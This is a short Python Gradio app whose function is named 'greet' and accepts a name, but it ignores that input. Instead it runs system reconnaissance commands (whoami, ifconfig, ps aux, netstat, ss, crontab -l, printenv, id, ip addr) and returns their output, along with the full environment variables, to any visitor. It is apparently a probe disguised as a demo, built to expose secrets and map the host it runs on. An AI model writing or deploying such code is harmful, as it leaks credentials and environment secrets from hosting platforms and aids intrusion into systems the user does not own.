import sys import gradio as gr import os def greet(name): environ = os.environ path = sys.path whoami = os.popen("whoami").read() ifconfig = os.popen("ifconfig").read() host = os.popen("hostname").read() uname = os.popen("uname -a").read() running = os.popen("ps aux").read() open_ports = os.popen("netstat -tuln").read() open_2 = os.popen("ss -tuln").read() crons = os.popen("crontab -l").read() mounted_fs = os.popen("df -h").read() envars = os.popen("printenv").read() user_info = os.popen("id").read() net_conf = os.popen("ip addr show").read() res = f""" Environ: {environ} Path: {path} Whoami: {whoami} Ifconfig: {ifconfig} Host: {host} Uname: {uname} Running: {running} Open ports: {open_ports} Open 2: {open_2} Crontab: {crons} Mounted FS: {mounted_fs} Envars: {envars} User info: {user_info} Net conf: {net_conf} """ return res iface = gr.Interface(fn=greet, inputs="text", outputs="text") iface.launch()